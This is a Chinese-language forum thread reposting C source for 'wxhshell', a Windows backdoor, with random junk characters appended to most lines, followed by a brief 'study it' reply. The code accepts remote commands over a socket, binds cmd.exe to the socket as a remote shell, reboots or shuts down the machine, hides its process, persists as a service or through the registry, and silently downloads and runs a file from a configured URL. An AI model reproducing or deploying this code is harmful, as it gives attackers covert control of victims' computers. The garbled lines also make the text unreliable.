  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `/O_6PQ}  
  } Ue7~rPdlR  
  else { {<lV=0]  
G(>a LF  
    switch(cmd[0]) { 6*E 7}  
  s$;v )w$  
  // 帮助 UZ$p wjC  
  case '?': { ;%}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J{Jxb1:c  
    break; 4{TUoI6ii  
  } 4{V=X3,x  
  // 安装 <Ip}uy[Y  
  case 'i': { O;~1M3Ii  
    if(Install()) *7ox_ R@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tF 4"28"h  
    else z|Xl%8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LS`Gg7]S  
    break; oKUJB.PF  
    } P7 n~Ui~U  
  // 卸载 ;rX4${h  
  case 'r': { X!m/I i$q  
    if(Uninstall()) ty ~U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^t"\PpmK<d  
    else ji "*=i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OP@PB|  
    break; _<8n]0lX3  
    } \*7Tj-#  
  // 显示 wxhshell 所在路径 }.#C9<"}  
  case 'p': { e>[QF+e)y  
    char svExeFile[MAX_PATH]; $ _zdjzT  
    strcpy(svExeFile,"\n\r"); d%<Uh(+:  
      strcat(svExeFile,ExeFile); jGt[[s  
        send(wsh,svExeFile,strlen(svExeFile),0); p&7>G-.  
    break; wXP1tM8T  
    } _.j KcDf  
  // 重启 %!@Dop/<  
  case 'b': { 1.+MX(w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W];4P=/  
    if(Boot(REBOOT)) VGSe<6Hh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2mv6xK'  
    else { a 3H S!/  
    closesocket(wsh); XG0,@Ly  
    ExitThread(0); 2`; 0y M  
    } Y!KGJ^.mF  
    break; b[$>HB_Na  
    } E 0YXgQa  
  // 关机  l)?c3  
  case 'd': { {w2<;YXj!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F](kU#3"S  
    if(Boot(SHUTDOWN)) DpA)Z ??  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yY!jkRq%w  
    else { 6d_l[N  
    closesocket(wsh); `.n[G~*w~1  
    ExitThread(0); E@?jsN7  
    } " `lRX  
    break; # H4dmnV  
    } b747eR 7E  
  // 获取shell lGxG$0`;;  
  case 's': { 46*?hA7@r(  
    CmdShell(wsh); "kMpa]<c-6  
    closesocket(wsh); )%*uMuF  
    ExitThread(0); djk   
    break; sYvO"|  
  } mFT[[Z#  
  // 退出 IuPwFf)  
  case 'x': { ='~C$%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P",53R+"  
    CloseIt(wsh); EPyFM_k  
    break; MVV<&jho{^  
    } Zcc6E2  
  // 离开 xX}vx hN  
  case 'q': { IKpNc+;p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 67d0JQTu  
    closesocket(wsh); tL D.e  
    WSACleanup(); *F=w MWa  
    exit(1); 2Ddrxc>48  
    break; hF6EOCY6D  
        } )4j#gHN\  
  } &0M^UvO  
  } 98x(2fCvF(  
WFtxEIrl3j  
  // 提示信息 GX\/2P7CZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " 4s,a  
} (d_{+O"  
  } _,5(HETE2  
++xEMP)  
  return; DI+kO(S  
} -B R&b2  
*K!V$8k=99  
// shell模块句柄 Q&yfl  
int CmdShell(SOCKET sock) ns@b0'IF]  
{ "",V\m  
STARTUPINFO si; 8He^j5  
ZeroMemory(&si,sizeof(si)); "Y4 tt0I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *2@Ne[dYEF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g!4"3Dtdg  
PROCESS_INFORMATION ProcessInfo; 7)~/`w)P  
char cmdline[]="cmd"; HdLVXaD/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kx ';mgG#$  
  return 0; U1B5gjN  
} {4UlJ,Z.n  
IS"UBJ6p  
// 自身启动模式 6Vi #O^>  
int StartFromService(void) iugTXZ(  
{ (eHvp  
typedef struct <Cm:4)~  
{ \S3C"P%w  
  DWORD ExitStatus; IeE+h-3p  
  DWORD PebBaseAddress; eo"6 \3z  
  DWORD AffinityMask; l1a=r:WhH  
  DWORD BasePriority; .hnGHX  
  ULONG UniqueProcessId; 8\/E/o3  
  ULONG InheritedFromUniqueProcessId; ^KmyB6Yg  
}   PROCESS_BASIC_INFORMATION; BT >8  
$f_Brc:n {  
PROCNTQSIP NtQueryInformationProcess; ACc.&,!IZ  
>AV?g8B;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -49OE*uF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; anHP5gD  
bNj| GIf  
  HANDLE             hProcess; tvZpm@1  
  PROCESS_BASIC_INFORMATION pbi; az\ ;D\\  
&!a[rvtZ+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jt@7y"<  
  if(NULL == hInst ) return 0; gQh;4v  
[[ H XOPaV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \%f4)Qb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 27}k63\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S-g`rTx  
$wAVM/u&  
  if (!NtQueryInformationProcess) return 0; H;%a1  
t: r   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <5G*#0gw  
  if(!hProcess) return 0; i e%ZX  
$D1Pk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  jmz, 1[  
,@8>=rT  
  CloseHandle(hProcess); 5,k&^CK}  
U5%EQc-"P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lhKd<Y"  
if(hProcess==NULL) return 0; 9["yL{IPe  
3@_je)s  
HMODULE hMod;  Jcy  
char procName[255]; UIIR$,XB  
unsigned long cbNeeded; 3L/>=I{5  
JmtU>2z\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w*OZ1|  
D\bW' k]!  
  CloseHandle(hProcess); \,oT(p4N%M  
x4Y+?2  
if(strstr(procName,"services")) return 1; // 以服务启动 C 3b  
?&j[Rj0pH  
  return 0; // 注册表启动 JstX# z  
} 6uOR0L  
 0'%R@|  
// 主模块 9co1+y=i{  
int StartWxhshell(LPSTR lpCmdLine) k5P&F  
{ Kw+?Lowp  
  SOCKET wsl; W1iKn  
BOOL val=TRUE; IX,/ZOZ|  
  int port=0; %HpTQ   
  struct sockaddr_in door; fOF02WP^  
1Hp0,R}  
  if(wscfg.ws_autoins) Install(); #92 :h6  
(Rve<n6{A  
port=atoi(lpCmdLine); ; P&K a  
N yFa2Ihd  
if(port<=0) port=wscfg.ws_port; R4%!W~K  
l!EfvqWX  
  WSADATA data; bo4 :|Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ubjuuha"  
AM#VRRTU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _A;jtS)SY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FDkRfhK  
  door.sin_family = AF_INET; j|A *rzL8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { %vX/Ek  
  door.sin_port = htons(port); -"UK NB!  
50F6jj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k*\WzBTd  
closesocket(wsl); D\jRF-z  
return 1; !-m (1  
} Ola>] 0l  
pej/9{*xg(  
  if(listen(wsl,2) == INVALID_SOCKET) { 'p80X^g  
closesocket(wsl); s*>s;S?{|  
return 1; .DMeW i  
} _>9|"seR  
  Wxhshell(wsl); ce0TQ  
  WSACleanup(); 8$io^n\i  
V<$g^Vb  
return 0; {OL*E0  
eu@-v"=w  
} !h4S`2oZ/  
Z,M?!vK  
// 以NT服务方式启动 :bkACuaEn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tO~DA>R  
{ B;r U  
DWORD   status = 0; s4<[f%^  
  DWORD   specificError = 0xfffffff; R] tHd=kf  
#UG|\}Lp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ dpd-s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 22"M#:r$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I\&..e0l  
  serviceStatus.dwWin32ExitCode     = 0; %*wJODtB|  
  serviceStatus.dwServiceSpecificExitCode = 0; 9$c0<~B\  
  serviceStatus.dwCheckPoint       = 0; P%z\^\p"5  
  serviceStatus.dwWaitHint       = 0; T^B&GgW  
p+ SFeUp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }{[H@uhjH  
  if (hServiceStatusHandle==0) return; FbO-K-  
$Q{)AN;m  
status = GetLastError(); 8>RGmue  
  if (status!=NO_ERROR) &W:Wv,3  
{ c9/w-u~j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *v)JX _  
    serviceStatus.dwCheckPoint       = 0; }@J&yrqg  
    serviceStatus.dwWaitHint       = 0; Q.7Rv XNw8  
    serviceStatus.dwWin32ExitCode     = status; Tw/kD)u{  
    serviceStatus.dwServiceSpecificExitCode = specificError; FY)vrM*yh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w|pk1~c(_  
    return; PX65Z|~>_  
  } m(,vym t  
0AP wk }  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; []/=!?5B  
  serviceStatus.dwCheckPoint       = 0; y8HLrBTza  
  serviceStatus.dwWaitHint       = 0; {";5n7<<)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  LKieOgX  
} %H75u 6  
AR\>P  
// 处理NT服务事件,比如:启动、停止 JP)/ O!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;n$j?n+|  
{ X+)68  
switch(fdwControl) jhjGDF  
{ I~\j%zD  
case SERVICE_CONTROL_STOP: bAms-cXm  
  serviceStatus.dwWin32ExitCode = 0; gRIRc4p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IzF7W?k  
  serviceStatus.dwCheckPoint   = 0; U>7"BpC  
  serviceStatus.dwWaitHint     = 0; hSSF]  
  { 0kS[`a(}J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;OY+ |uA  
  } Vh$~]>t:f  
  return; BoYWx^VHx^  
case SERVICE_CONTROL_PAUSE: 1fM= >Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .%_scNP  
  break; Un@B D}@\  
case SERVICE_CONTROL_CONTINUE: kU$P?RD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zy,U'Dv  
  break; wvvMesX<L  
case SERVICE_CONTROL_INTERROGATE: xfCq;?MupW  
  break; #qWa[kB  
}; AX}l~ sv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A<2_V1  
} =;!C7VS  
jo{[*]Oa  
// 标准应用程序主函数 hu%rp{m^,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &?YbAo_K  
{ }C!N$8d,  
9Xo'U;J  
// 获取操作系统版本 ]S9~2;2^,  
OsIsNt=GetOsVer(); Sq8` )$\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); = q9>~E{}  
P9; =O$s  
  // 从命令行安装 |0:< Z(  
  if(strpbrk(lpCmdLine,"iI")) Install(); wG [X*/v  
; S7 %  
  // 下载执行文件 ]n1@!qa48  
if(wscfg.ws_downexe) { o#gb+[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0][PL%3Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5VdF^.:u  
} RX}6H<5R  
#]<j.Fc`  
if(!OsIsNt) { XBe!9/'k>  
// 如果时win9x,隐藏进程并且设置为注册表启动 bDVz+*bU}  
HideProc(); \L}aTCvG  
StartWxhshell(lpCmdLine); =UYZ){rt9E  
} | YmQO#''  
else T<Y^V  
  if(StartFromService()) *>,8+S33r{  
  // 以服务方式启动 (b%&DyOt  
  StartServiceCtrlDispatcher(DispatchTable); Pd9qY 8CP  
else z}&w7 O#   
  // 普通方式启动 $ ,Y\  
  StartWxhshell(lpCmdLine); rdZk2\<  
<seb,> :  
return 0; Rl90uF]8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八